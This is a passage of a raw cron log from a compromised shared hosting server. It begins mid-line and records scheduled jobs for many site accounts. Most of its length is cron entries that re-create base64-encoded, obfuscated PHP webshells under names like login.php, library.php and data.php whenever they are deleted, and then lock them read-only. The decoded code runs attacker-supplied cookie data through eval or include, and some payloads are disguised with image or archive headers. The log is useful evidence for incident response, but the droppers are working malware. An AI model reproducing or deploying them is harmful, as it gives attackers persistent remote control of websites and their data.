"$fp"; fi; chmod 444 "$fp")
Mar  2 07:21:02 medusa CROND[32568]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:21:02 medusa CROND[32569]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:21:02 medusa CROND[32570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:21:02 medusa CROND[32574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:21:02 medusa CROND[32575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:21:02 medusa CROND[32576]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:21:02 medusa CROND[32577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:21:02 medusa CROND[32580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:21:02 medusa CROND[32583]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:21:02 medusa CROND[32584]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:22:01 medusa CROND[17417]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:22:01 medusa CROND[17418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:22:01 medusa CROND[17419]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:22:01 medusa CROND[17420]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:22:01 medusa CROND[17425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:22:01 medusa CROND[17427]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:22:01 medusa CROND[17428]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:22:01 medusa CROND[17426]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:22:01 medusa CROND[17429]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:22:01 medusa CROND[17430]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:22:01 medusa CROND[17432]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:22:01 medusa CROND[17433]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:22:01 medusa CROND[17436]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:22:01 medusa CROND[17435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:23:01 medusa CROND[6943]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:23:01 medusa CROND[7056]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:23:01 medusa CROND[7220]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:23:01 medusa CROND[7221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:23:01 medusa CROND[7231]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:23:01 medusa CROND[7232]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:23:01 medusa CROND[7235]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:23:01 medusa CROND[7236]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:23:01 medusa CROND[7238]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:23:01 medusa CROND[7240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
